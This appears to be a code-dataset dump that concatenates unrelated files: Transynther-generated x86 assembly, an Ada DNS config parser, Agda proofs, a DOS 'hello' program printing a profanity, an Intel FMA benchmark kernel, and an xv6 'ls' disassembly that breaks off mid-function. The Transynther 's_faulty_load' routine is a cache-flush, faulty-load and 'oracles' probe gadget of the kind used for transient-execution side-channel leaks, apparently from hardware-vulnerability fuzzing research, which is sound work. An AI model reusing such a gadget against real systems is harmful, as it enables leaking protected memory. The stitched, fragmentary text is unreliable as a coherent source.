34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
src/dnscatcher/config/dnscatcher-config.adb
|
DNSCatcher/DNSCatcher
| 4 |
4204
|
-- Copyright 2019 <NAME> <<EMAIL>>
--
-- Permission is hereby granted, free of charge, to any person obtaining a copy
-- of this software and associated documentation files (the "Software"), to
-- deal in the Software without restriction, including without limitation the
-- rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
-- sell copies of the Software, and to permit persons to whom the Software is
-- furnished to do so, subject to the following conditions:
--
-- The above copyright notice and this permission notice shall be included in
-- all copies or substantial portions of the Software.
--
-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
-- THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
-- FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
-- DEALINGS IN THE SOFTWARE.
with Ada.Characters.Latin_1;
with Ada.Text_IO; use Ada.Text_IO;
with Ada.Characters.Handling; use Ada.Characters.Handling;
with Ada.Containers.Indefinite_Ordered_Maps;
package body DNSCatcher.Config is
-- Parse_Procedure prototype
--
-- Parse_Procedure is an access procedure that is used as a common prototype
-- for all parsing functionality dispatched from GCP_Management and other
-- vectors.
--
-- @value Config
-- Configuration struct to update
--
-- @value Value_Str
-- Pure text version of the configuration argument
--
type Parse_Procedure is access procedure
(Config : in out Configuration;
Value_Str : String);
-- GCP_Management is a vector that handles dynamic dispatch to the
-- parsing parameters above; it is used to match key/values from the
-- config file to
package GCP_Management is new Ada.Containers.Indefinite_Ordered_Maps
(String, Parse_Procedure);
GCP_Map : GCP_Management.Map;
-- Configuration constructor
procedure Initialize (Config : in out Configuration) is
begin
-- We initialize the ports to 53 by default
Config.Local_Listen_Port := 53;
Config.Upstream_DNS_Server_Port := 53;
-- No upstream server is set
Config.Upstream_DNS_Server := To_Unbounded_String ("");
end Initialize;
-- Loads the load listen value and sets it in the config record
--
-- @value Config
-- Configuration struct to update
--
-- @value Value_Str
-- Pure text version of the configuration argument
--
procedure Parse_Local_Listen_Port
(Config : in out Configuration;
Value_Str : String)
is
begin
Config.Local_Listen_Port := Port_Type'Value (Value_Str);
exception
when Constraint_Error =>
raise Malformed_Line with "Local_Listen_Port not a valid port number";
end Parse_Local_Listen_Port;
-- Loads the upstream DNS Server from the config file
--
-- @value Config
-- Configuration struct to update
--
-- @value Value_Str
-- Pure text version of the configuration argument
--
procedure Parse_Upstream_DNS_Server
(Config : in out Configuration;
Value_Str : String)
is
begin
Config.Upstream_DNS_Server := To_Unbounded_String (Value_Str);
exception
when Constraint_Error =>
raise Malformed_Line with "Invalid upstrema DNS Server";
end Parse_Upstream_DNS_Server;
-- Loads the upstream DNS Server port from the config file
--
-- @value Config
-- Configuration struct to update
--
-- @value Value_Str
-- Pure text version of the configuration argument
--
procedure Parse_Upstream_DNS_Server_Port
(Config : in out Configuration;
Value_Str : String)
is
begin
Config.Upstream_DNS_Server_Port := Port_Type'Value (Value_Str);
exception
when Constraint_Error =>
raise Malformed_Line
with "Upstream_DNS_Server_Port not a valid port number";
end Parse_Upstream_DNS_Server_Port;
procedure Initialize_Config_Parse is
begin
-- Load String to Type Mapping
GCP_Map.Insert ("LOCAL_LISTEN_PORT", Parse_Local_Listen_Port'Access);
GCP_Map.Insert ("UPSTREAM_DNS_SERVER", Parse_Upstream_DNS_Server'Access);
GCP_Map.Insert
("UPSTREAM_DNS_SERVER_PORT", Parse_Upstream_DNS_Server_Port'Access);
end Initialize_Config_Parse;
procedure Read_Cfg_File
(Config : in out Configuration;
Config_File_Path : String)
is
Config_File : Ada.Text_IO.File_Type;
Line_Count : Integer := 1;
Exception_Message : Unbounded_String;
use GCP_Management;
begin
Initialize_Config_Parse;
-- Try to open the configuration file
Open
(File => Config_File,
Mode => Ada.Text_IO.In_File,
Name => Config_File_Path);
while not End_Of_File (Config_File)
loop
declare
Current_Line : constant String := Get_Line (Config_File);
Key_End_Loc : Integer := 0;
Equals_Loc : Integer := 0;
Value_Loc : Integer := 0;
Is_Whitespace : Boolean := True;
begin
-- Skip lines starting with a comment or blank
if Current_Line = ""
then
goto Config_Parse_Continue;
end if;
-- Has to be done seperately or it blows an index check
if Current_Line (1) = '#'
then
goto Config_Parse_Continue;
end if;
-- Skip line if its all whitespace
for I in Current_Line'range
loop
if Current_Line (I) /= ' ' and
Current_Line (I) /= Ada.Characters.Latin_1.HT
then
Is_Whitespace := False;
end if;
if Current_Line (I) = '='
then
Equals_Loc := I;
end if;
-- Determine length of the key
--
-- This is a little non-obvious at first glance. We subtract 2
-- here to remove the character we want, and the previous char
-- because a 17 char string will be 1..18 in the array.
if (Is_Whitespace or Current_Line (I) = '=') and Key_End_Loc = 0
then
Key_End_Loc := I - 2;
end if;
exit when Is_Whitespace and Equals_Loc /= 0;
-- We also want to confirm there's a = in there somewhere
end loop;
-- It's all whitespace, skip it
if Is_Whitespace
then
goto Config_Parse_Continue;
end if;
if Equals_Loc = 0
then
Exception_Message :=
To_Unbounded_String ("Malformed line (no = found) at");
Append (Exception_Message, Line_Count'Image);
Append (Exception_Message, ": ");
Append (Exception_Message, Current_Line);
raise Malformed_Line with To_String (Exception_Message);
end if;
-- Read in the essential values
for C in GCP_Map.Iterate
loop
-- Slightly annoying, but need to handle not reading past the
-- end of Current_Line. We also need to check that the next char
-- is a space or = so we don't match substrings by accident.
if Key_End_Loc = Key (C)'Length
then
if Key (C) = To_Upper (Current_Line
(1 .. Key (C)'Length))
then
-- Determine the starting character of the value
for I in Current_Line
(Equals_Loc + 1 .. Current_Line'Length)'range
loop
if Current_Line (I) /= ' ' and
Current_Line (I) /= Ada.Characters.Latin_1.HT
then
Value_Loc := I;
exit;
end if;
end loop;
-- If Value_Loc is zero, pass an empty string in
if Value_Loc = 0
then
Element (C).all (Config, "");
else
Element (C).all (Config, Current_Line
(Value_Loc .. Current_Line'Length));
end if;
end if;
end if;
end loop;
<<Config_Parse_Continue>>
Line_Count := Line_Count + 1;
end;
end loop;
-- Clean up
Close (Config_File);
-- Confirm mandatory values are set
if Config.Upstream_DNS_Server = ""
then
raise Missing_Mandatory_Config_Option
with "Upstream_DNS_Server must be set";
end if;
end Read_Cfg_File;
end DNSCatcher.Config;
|
Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca.log_21829_558.asm
|
ljhsiun2/medusa
| 9 |
177166
|
<filename>Transynther/x86/_processed/NC/_zr_/i7-7700_9_0xca.log_21829_558.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %rax
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x1ce75, %r12
nop
nop
nop
nop
cmp $13564, %rdi
mov $0x6162636465666768, %rsi
movq %rsi, (%r12)
nop
inc %r14
lea addresses_UC_ht+0x1c821, %rsi
lea addresses_WT_ht+0x1da45, %rdi
clflush (%rdi)
and $30286, %rax
mov $23, %rcx
rep movsb
nop
nop
nop
nop
nop
cmp %rcx, %rcx
lea addresses_normal_ht+0xf275, %rsi
lea addresses_UC_ht+0x16cd1, %rdi
nop
nop
sub %rbp, %rbp
mov $118, %rcx
rep movsq
sub $31323, %rsi
lea addresses_UC_ht+0x17275, %rsi
lea addresses_A_ht+0x16115, %rdi
sub $40633, %rbx
mov $35, %rcx
rep movsq
nop
xor $20495, %r14
lea addresses_D_ht+0xaa75, %rsi
lea addresses_A_ht+0x13a75, %rdi
clflush (%rdi)
nop
inc %rax
mov $15, %rcx
rep movsq
nop
inc %rbp
lea addresses_A_ht+0x11711, %rdi
nop
xor $16346, %rax
movl $0x61626364, (%rdi)
nop
nop
nop
inc %r14
lea addresses_WT_ht+0x19975, %rbx
nop
nop
nop
dec %rcx
mov (%rbx), %rsi
cmp $37000, %rdi
lea addresses_WC_ht+0x1ea75, %r14
nop
nop
nop
and %rax, %rax
mov $0x6162636465666768, %rbp
movq %rbp, %xmm3
vmovups %ymm3, (%r14)
add %r14, %r14
lea addresses_D_ht+0x685, %rcx
nop
sub %rax, %rax
movb (%rcx), %r12b
nop
nop
sub %rbp, %rbp
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %rax
pop %r14
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r15
push %r9
push %rax
push %rcx
push %rdx
push %rsi
// Load
lea addresses_normal+0x16e75, %rcx
nop
nop
nop
add %rax, %rax
vmovups (%rcx), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $0, %xmm0, %r9
nop
nop
xor $205, %rcx
// Store
lea addresses_WT+0x18975, %r10
nop
nop
nop
nop
xor %rdx, %rdx
movw $0x5152, (%r10)
cmp $50873, %r10
// Faulty Load
mov $0x7b39120000000a75, %r10
clflush (%r10)
and $53151, %r15
mov (%r10), %ecx
lea oracles, %r15
and $0xff, %rcx
shlq $12, %rcx
mov (%r15,%rcx,1), %rcx
pop %rsi
pop %rdx
pop %rcx
pop %rax
pop %r9
pop %r15
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
{'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 8, 'AVXalign': True, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_WT'}}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'congruent': 9, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_WT_ht'}}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_UC_ht'}}
{'src': {'congruent': 10, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_A_ht'}}
{'OP': 'STOR', 'dst': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_A_ht'}}
{'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 8, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 11, 'AVXalign': False, 'same': True, 'size': 32, 'NT': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
Cubical/Data/Strict2Group/Explicit.agda
|
Schippmunk/cubical
| 0 |
16370
|
{-# OPTIONS --cubical --safe #-}
module Cubical.Data.Strict2Group.Explicit where
|
src/Dodo/Nullary/Disjoint.agda
|
sourcedennis/agda-dodo
| 0 |
17392
|
{-# OPTIONS --without-K --safe #-}
module Dodo.Nullary.Disjoint where
-- Stdlib imports
open import Level using (Level)
open import Data.Product using (_×_)
open import Relation.Nullary using (¬_)
-- # Definitions
Disjoint : ∀ {a b : Level} (A : Set a) (B : Set b) → Set _
Disjoint A B = ¬ (A × B)
|
a/assembler_fasm_dos.asm
|
ozcanyarimdunya/FuckYouGithub
| 0 |
4330
|
<reponame>ozcanyarimdunya/FuckYouGithub
format MZ
entry .code: start
segment .code
start:
mov ax, .data ; put data segment into ax
mov ds, ax ; there, I setup the DS for you
mov dx, msg ; now I give you the offset in DX. DS:DX now completed.
mov ah, 9h
int 21h
mov ah, 4ch
int 21h
segment .data
msg db 'Fuck You Github', '$'
|
chap18/ex25/fma_only_tpt.asm
|
JamesType/optimization-manual
| 374 |
5706
|
<reponame>JamesType/optimization-manual
;
; Copyright (C) 2021 by Intel Corporation
;
; Permission to use, copy, modify, and/or distribute this software for any
; purpose with or without fee is hereby granted.
;
; THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH
; REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY
; AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT,
; INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM
; LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR
; OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
; PERFORMANCE OF THIS SOFTWARE.
;
; .globl fma_only_tpt
; void fma_only_tpt(uint64_t loop_cnt);
; On entry:
; rcx = loop_cnt
_RDATA SEGMENT READ ALIGN(64) 'DATA'
one_vec REAL8 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0
_RDATA ENDS
.code
fma_only_tpt PROC public
mov rdx, rsp
and rsp, -10h
sub rsp, 96
vmovaps xmmword ptr[rsp], xmm6
vmovaps xmmword ptr[rsp+16], xmm7
vmovaps xmmword ptr[rsp+32], xmm8
vmovaps xmmword ptr[rsp+48], xmm9
vmovaps xmmword ptr[rsp+64], xmm10
vmovaps xmmword ptr[rsp+80], xmm11
vmovups zmm0, ZMMWORD PTR one_vec
vmovups zmm1, ZMMWORD PTR one_vec
vmovups zmm2, ZMMWORD PTR one_vec
vmovups zmm3, ZMMWORD PTR one_vec
vmovups zmm4, ZMMWORD PTR one_vec
vmovups zmm5, ZMMWORD PTR one_vec
vmovups zmm6, ZMMWORD PTR one_vec
vmovups zmm7, ZMMWORD PTR one_vec
vmovups zmm8, ZMMWORD PTR one_vec
vmovups zmm9, ZMMWORD PTR one_vec
vmovups zmm10, ZMMWORD PTR one_vec
vmovups zmm11, ZMMWORD PTR one_vec
; mov rcx, loops
loop1:
vfmadd231pd zmm0, zmm0, zmm0
vfmadd231pd zmm1, zmm1, zmm1
vfmadd231pd zmm2, zmm2, zmm2
vfmadd231pd zmm3, zmm3, zmm3
vfmadd231pd zmm4, zmm4, zmm4
vfmadd231pd zmm5, zmm5, zmm5
vfmadd231pd zmm6, zmm6, zmm6
vfmadd231pd zmm7, zmm7, zmm7
vfmadd231pd zmm8, zmm8, zmm8
vfmadd231pd zmm9, zmm9, zmm9
vfmadd231pd zmm10, zmm10, zmm10
vfmadd231pd zmm11, zmm11, zmm11
dec rcx
jg loop1
vzeroupper
vmovaps xmm6, xmmword ptr[rsp]
vmovaps xmm7, xmmword ptr[rsp+16]
vmovaps xmm8, xmmword ptr[rsp+32]
vmovaps xmm9, xmmword ptr[rsp+48]
vmovaps xmm10, xmmword ptr[rsp+64]
vmovaps xmm11, xmmword ptr[rsp+80]
mov rsp, rdx
ret
fma_only_tpt ENDP
end
|
Globular-TT/Eqdec-syntax.agda
|
thibautbenjamin/catt-formalization
| 0 |
13914
|
<gh_stars>0
{-# OPTIONS --rewriting --without-K #-}
open import Agda.Primitive
open import Prelude
import GSeTT.Typed-Syntax
import Globular-TT.Syntax
{- Type theory for globular sets -}
module Globular-TT.Eqdec-syntax {l}
(index : Set l) (eqdec-index : eqdec index) where
open import Globular-TT.Syntax index
eqdec-Ty : eqdec Pre-Ty
eqdec-Tm : eqdec Pre-Tm
eqdec-Sub : eqdec Pre-Sub
eqdec-Ty ∗ ∗ = inl idp
eqdec-Ty ∗ (⇒ _ _ _) = inr λ{()}
eqdec-Ty (⇒ _ _ _ ) ∗ = inr λ{()}
eqdec-Ty (⇒ A t u) (⇒ B t' u') with eqdec-Ty A B | eqdec-Tm t t' | eqdec-Tm u u'
... | inl idp | inl idp | inl idp = inl idp
... | inr A≠B | _ | _ = inr λ{idp → A≠B idp}
... | inl idp | inr t≠t' | _ = inr λ eq → t≠t' (snd (fst (=⇒ eq)))
... | inl idp | inl idp | inr u≠u' = inr λ eq → u≠u' (snd (=⇒ eq))
eqdec-Tm (Var x) (Var y) with eqdecℕ x y
... | inl idp = inl idp
... | inr x≠y = inr λ {idp → x≠y idp}
eqdec-Tm (Var _) (Tm-constructor _ _) = inr λ{()}
eqdec-Tm (Tm-constructor _ _) (Var _) = inr λ{()}
eqdec-Tm (Tm-constructor i γ) (Tm-constructor i' γ') with eqdec-index i i' | eqdec-Sub γ γ'
... | inl idp | inl idp = inl idp
... | inr i≠i' | _ = inr λ{idp → i≠i' idp}
... | inl idp | inr γ≠γ' = inr λ eq → γ≠γ' (snd (=Tm-constructor eq))
eqdec-Sub <> <> = inl idp
eqdec-Sub < _ , _ ↦ _ > <> = inr λ{()}
eqdec-Sub <> < _ , _ ↦ _ > = inr λ{()}
eqdec-Sub < γ , x ↦ t > < γ' , y ↦ t' > with eqdec-Sub γ γ' | eqdecℕ x y | eqdec-Tm t t'
... | inl idp | inl idp | inl idp = inl idp
... | inr γ≠γ' | _ | _ = inr λ{idp → γ≠γ' idp}
... | inl idp | inr x≠y | _ = inr λ eq → x≠y (snd (fst (=<,> eq)))
... | inl idp | inl idp | inr t≠t' = inr λ eq → t≠t' (snd (=<,> eq))
|
ls.asm
|
mignipunn/xv6
| 2 |
168645
|
_ls: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
close(fd);
}
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 57 push %edi
e: 56 push %esi
f: 53 push %ebx
10: 51 push %ecx
11: bb 01 00 00 00 mov $0x1,%ebx
16: 83 ec 08 sub $0x8,%esp
19: 8b 31 mov (%ecx),%esi
1b: 8b 79 04 mov 0x4(%ecx),%edi
int i;
if(argc < 2){
1e: 83 fe 01 cmp $0x1,%esi
21: 7e 1f jle 42 <main+0x42>
23: 90 nop
24: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
ls(".");
exit();
}
for(i=1; i<argc; i++)
ls(argv[i]);
28: 83 ec 0c sub $0xc,%esp
2b: ff 34 9f pushl (%edi,%ebx,4)
if(argc < 2){
ls(".");
exit();
}
for(i=1; i<argc; i++)
2e: 83 c3 01 add $0x1,%ebx
ls(argv[i]);
31: e8 ca 00 00 00 call 100 <ls>
if(argc < 2){
ls(".");
exit();
}
for(i=1; i<argc; i++)
36: 83 c4 10 add $0x10,%esp
39: 39 de cmp %ebx,%esi
3b: 75 eb jne 28 <main+0x28>
ls(argv[i]);
exit();
3d: e8 40 05 00 00 call 582 <exit>
main(int argc, char *argv[])
{
int i;
if(argc < 2){
ls(".");
42: 83 ec 0c sub $0xc,%esp
45: 68 58 0a 00 00 push $0xa58
4a: e8 b1 00 00 00 call 100 <ls>
exit();
4f: e8 2e 05 00 00 call 582 <exit>
54: 66 90 xchg %ax,%ax
56: 66 90 xchg %ax,%ax
58: 66 90 xchg %ax,%ax
5a: 66 90 xchg %ax,%ax
5c: 66 90 xchg %ax,%ax
5e: 66 90 xchg %ax,%ax
00000060 <fmtname>:
#include "user.h"
#include "fs.h"
char*
fmtname(char *path)
{
60: 55 push %ebp
61: 89 e5 mov %esp,%ebp
63: 56 push %esi
64: 53 push %ebx
65: 8b 5d 08 mov 0x8(%ebp),%ebx
static char buf[DIRSIZ+1];
char *p;
// Find first character after last slash.
for(p=path+strlen(path); p >= path && *p != '/'; p--)
68: 83 ec 0c sub $0xc,%esp
6b: 53 push %ebx
6c: e8 4f 03 00 00 call 3c0 <strlen>
71: 83 c4 10 add $0x10,%esp
74: 01 d8 add %ebx,%eax
76: 73 0f jae 87 <fmtname+0x27>
78: eb 12 jmp 8c <fmtname+0x2c>
7a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80: 83 e8 01 sub $0x1,%eax
83: 39 c3 cmp %eax,%ebx
85: 77 05 ja 8c <fmtname+0x2c>
87: 80 38 2f cmpb $0x2f,(%eax)
8a: 75 f4 jne 80 <fmtname+0x20>
;
p++;
8c: 8d 58 01 lea 0x1(%eax),%ebx
// Return blank-padded name.
if(strlen(p) >= DIRSIZ)
8f: 83 ec 0c sub $0xc,%esp
92: 53 push %ebx
93: e8 28 03 00 00 call 3c0 <strlen>
98: 83 c4 10 add $0x10,%esp
9b: 83 f8 0d cmp $0xd,%eax
9e: 77 4a ja ea <fmtname+0x8a>
return p;
memmove(buf, p, strlen(p));
a0: 83 ec 0c sub $0xc,%esp
a3: 53 push %ebx
a4: e8 17 03 00 00 call 3c0 <strlen>
a9: 83 c4 0c add $0xc,%esp
ac: 50 push %eax
ad: 53 push %ebx
ae: 68 70 0d 00 00 push $0xd70
b3: e8 98 04 00 00 call 550 <memmove>
memset(buf+strlen(p), ' ', DIRSIZ-strlen(p));
b8: 89 1c 24 mov %ebx,(%esp)
bb: e8 00 03 00 00 call 3c0 <strlen>
c0: 89 1c 24 mov %ebx,(%esp)
c3: 89 c6 mov %eax,%esi
return buf;
c5: bb 70 0d 00 00 mov $0xd70,%ebx
// Return blank-padded name.
if(strlen(p) >= DIRSIZ)
return p;
memmove(buf, p, strlen(p));
memset(buf+strlen(p), ' ', DIRSIZ-strlen(p));
ca: e8 f1 02 00 00 call 3c0 <strlen>
cf: ba 0e 00 00 00 mov $0xe,%edx
d4: 83 c4 0c add $0xc,%esp
d7: 05 70 0d 00 00 add $0xd70,%eax
dc: 29 f2 sub %esi,%edx
de: 52 push %edx
df: 6a 20 push $0x20
e1: 50 push %eax
e2: e8 09 03 00 00 call 3f0 <memset>
return buf;
e7: 83 c4 10 add $0x10,%esp
}
ea: 8d 65 f8 lea -0x8(%ebp),%esp
ed: 89 d8 mov %ebx,%eax
ef: 5b pop %ebx
f0: 5e pop %esi
f1: 5d pop %ebp
f2: c3 ret
f3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
00000100 <ls>:
void
ls(char *path)
{
100: 55 push %ebp
101: 89 e5 mov %esp,%ebp
103: 57 push %edi
104: 56 push %esi
105: 53 push %ebx
106: 81 ec 64 02 00 00 sub $0x264,%esp
10c: 8b 7d 08 mov 0x8(%ebp),%edi
char buf[512], *p;
int fd;
struct dirent de;
struct stat st;
if((fd = open(path, 0)) < 0){
10f: 6a 00 push $0x0
111: 57 push %edi
112: e8 ab 04 00 00 call 5c2 <open>
117: 83 c4 10 add $0x10,%esp
11a: 85 c0 test %eax,%eax
11c: 0f 88 9e 01 00 00 js 2c0 <ls+0x1c0>
printf(2, "ls: cannot open %s\n", path);
return;
}
if(fstat(fd, &st) < 0){
122: 8d b5 d4 fd ff ff lea -0x22c(%ebp),%esi
128: 83 ec 08 sub $0x8,%esp
12b: 89 c3 mov %eax,%ebx
12d: 56 push %esi
12e: 50 push %eax
12f: e8 a6 04 00 00 call 5da <fstat>
134: 83 c4 10 add $0x10,%esp
137: 85 c0 test %eax,%eax
139: 0f 88 c1 01 00 00 js 300 <ls+0x200>
printf(2, "ls: cannot stat %s\n", path);
close(fd);
return;
}
switch(st.type){
13f: 0f b7 85 d4 fd ff ff movzwl -0x22c(%ebp),%eax
146: 66 83 f8 01 cmp $0x1,%ax
14a: 74 54 je 1a0 <ls+0xa0>
14c: 66 83 f8 02 cmp $0x2,%ax
150: 75 37 jne 189 <ls+0x89>
case T_FILE:
printf(1, "%s %d %d %d\n", fmtname(path), st.type, st.ino, st.size);
152: 83 ec 0c sub $0xc,%esp
